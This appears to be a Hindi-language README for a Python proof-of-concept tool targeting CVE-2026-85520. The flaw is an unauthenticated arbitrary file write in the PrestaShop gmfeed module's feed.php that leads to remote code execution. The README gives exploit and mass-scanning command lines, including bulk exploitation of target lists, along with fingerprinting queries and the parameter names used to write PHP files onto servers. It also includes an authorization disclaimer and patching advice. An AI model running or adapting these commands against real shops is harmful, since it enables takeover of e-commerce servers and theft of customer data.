
CVE-2026-85520 के लिए Python PoC: RCE प्राप्त करने के लिए PrestaShop gmfeed feed.php में अनधिकृत मनमानी फ़ाइल लेखन का पता लगाता और शोषण करता है, साथ ही बल्क स्कैनिंग भी करता है।
CVE-2026-85520 के लिए Python 3 PoC — PrestaShop के लिए MyPresta.eu / VEKIA का Google Merchant Center Feed मॉड्यूल (gmfeed) — feed.php पर अनधिकृत मनमाना फ़ाइल लेखन जब “Save to file” / URL निर्यात का उपयोग किया जाता है। CVSS 3.1 9.3 Critical (सॉफ़्टवेयर)।
| PoCbit | https://pocbit.org/pocs/cve-2026-85520 |
| कैटलॉग | https://pocbit.org/pocs/ |
| मॉड्यूल | gmfeed (Google Merchant Center Feed) |
| विक्रेता फ़िक्स | ≥ 2.3.10 (2.4.1+ इंस्टॉल करने की सलाह) |
| CWE | CWE-20 / CWE-73 / CWE-434 श्रेणी की समस्याएँ (लेखन पर अनुपस्थित प्रमाणीकरण + पथ/सामग्री नियंत्रण) |
gmfeed, PrestaShop स्टोरों में Google Merchant Center के लिए XML/CSV उत्पाद कैटलॉग उत्पन्न करने वाला एक वाणिज्यिक मॉड्यूल है। पुराने संस्करणों में, जब कैटलॉग URL द्वारा बनाया जाता था और डिस्क पर सहेजा जाता था (Save to file / cron), तो modules/gmfeed/feed.php एंडपॉइंट प्रमाणीकरण के बिना वैकल्पिक पैरामीटर के साथ आउटपुट फ़ाइल का नाम, पथ, एक्सटेंशन और सामग्री स्वीकार कर सकता था।
हमलावर crafted GET/POST के माध्यम से सर्वर पर मनमानी फ़ाइल लिख सकता है (जैसे pocbit_xxxxx.php), और फिर उसे वेब के माध्यम से चलाकर रिमोट कोड एक्ज़ीक्यूशन (RCE) प्राप्त करता है। इसका अर्थ है ई-कॉमर्स सर्वर पर पूर्ण नियंत्रण — इसे केवल अधिकृत पेंटेस्ट / अपने स्वयं के लैब शॉप वातावरण में परीक्षण करें।
Vendor (MyPresta.eu) की घोषणा के अनुसार: 2.3.10 से पहले के संस्करण प्रभावित हैं; फ़िक्स save-to-file URLों में स्टोर-विशिष्ट कुंजी जोड़ता है और अनधिकृत लेखन को बंद करता है। पुरानी zip के ऊपर लिखना पर्याप्त नहीं है — मॉड्यूल को “delete module files” के साथ हटाकर 2.4.1 को साफ़ तौर पर इंस्टॉल करना चाहिए।
CVE-2026-85520 gmfeed PrestaShop मॉड्यूल (MyPresta.eu द्वारा Google Merchant Center Feed) को प्रभावित करता है। feed.php निर्यात स्क्रिप्ट, जब save-to-disk मोड URL के माध्यम से पहुँच योग्य होता है (exportsavefile=1 और विक्रेता चेंजलॉग में प्रलेखित संबंधित निर्यात पैरामीटर), निम्नलिखित को लागू करने में विफल रही:
modules/gmfeed/ के अंतर्गत या ट्रैवर्सल अनुक्रमों के माध्यम से लिखने में सक्षम बनाते हैं।प्रभाव: अनधिकृत मनमाना फ़ाइल लेखन → RCE (HTTP के माध्यम से अपलोड की गई .php निष्पादित करें)।
रिलीज़ नोट्स में संदर्भित सार्वजनिक विक्रेता पैरामीटर में export_file_format, exportsavefile, और 2.3.x श्रृंखला में जोड़े गए कस्टम निर्यात फ़ाइलनाम विकल्प शामिल हैं। यह PoC सामान्य पैरामीटर उपनामों (exportfilename, exportfilecontent, export_path, आदि) को इनके विरुद्ध घुमाता है:
/modules/gmfeed/feed.php/index.php?fc=module&module=gmfeed&controller=feed| मोड | व्यवहार |
|---|---|
| check | gmfeed का पता लगाएँ (feed.php, config.xml, मार्कर), मॉड्यूल संस्करण पार्स करें, < 2.3.10 को चिह्नित करें |
| check --aggressive | हल्का save-to-file प्रोब (कोई स्थायी शेल नहीं; प्रोब पथ में exportsavefile=0) |
| exploit | मार्कर POCBIT-85520-OK के साथ pocbit_*.php प्रोब लिखें, ?pocbit=1 के माध्यम से सत्यापित करें |
| exploit --dry-run | केवल प्रोब अनुरोध निर्यात करें (कोई शेल स्थापित नहीं) |
| mass | --list + -j → hits.txt / exploited.txt + JSONL |
--lab | स्थानीय मॉक feed.php — exploited: true दिखाना चाहिए (सैनिटी जाँच) |
--force | “मॉड्यूल अनुपस्थित / पैच किया गया संस्करण” गार्ड छोड़ें |
JSONL फ़ील्ड: pocbit, pocbit_catalog, pocbit_page, cve, vendor, module, product।
सुरक्षा: डिफ़ॉल्ट पेलोड एक केवल-मार्कर PHP स्टब है, पूर्ण इंटरैक्टिव शेल नहीं। अधिकृत परीक्षणों के बाद लिखी गई फ़ाइलें हटा दें।
pip install requests urllib3cd CVE-2026-85520
python poc.py --lab
अपेक्षित: हरा [LAB], JSON "exploited": true, "shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php"।
python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive
python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force
Exploit के बाद मैन्युअल रूप से सत्यापित करें:
https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK
python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
आउटपुट:
| फ़ाइल | सामग्री |
|---|---|
cve_2026_85520_results.jsonl | सभी जाँच पंक्तियाँ |
cve_2026_85520_exploit.jsonl | सभी शोषण पंक्तियाँ |
hits.txt | टैब: URL, स्थिति, संस्करण |
exploited.txt | टैब: URL, shell_url, संस्करण |
मॉड्यूल की उपस्थिति:
body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"
संस्करण (यदि प्रकट हो):
/modules/gmfeed/config.xml
स्थिर फ़ीड आर्टिफ़ैक्ट (अकेले भेद्यता प्रमाण नहीं):
/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml
नोट: MyPresta की 2026 सलाह के बाद कई दुकानें ≥ 2.3.10 चला रही हैं — इंटरनेट-व्यापी सूचियों पर patched_version या write_or_verify_failed की अपेक्षा करें।
feed.php प्रति को हटाता है)।.php फ़ाइलों के लिए modules/gmfeed/ का ऑडिट करें।संदर्भ: MyPresta सुरक्षा फिक्स घोषणा।
{
"pocbit": "https://pocbit.org",
"pocbit_catalog": "https://pocbit.org/pocs/",
"pocbit_page": "https://pocbit.org/pocs/cve-2026-85520",
"cve": "CVE-2026-85520"
}
केवल उन्हीं सिस्टमों पर उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित प्राधिकरण है। अनधिकृत पहुँच अवैध है। PoCbit रक्षात्मक सत्यापन और पैच सत्यापन के लिए प्रूफ-ऑफ-कॉन्सेप्ट टूलिंग प्रदान करता है।
CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https://pocbit.org/pocs/cve-2026-85520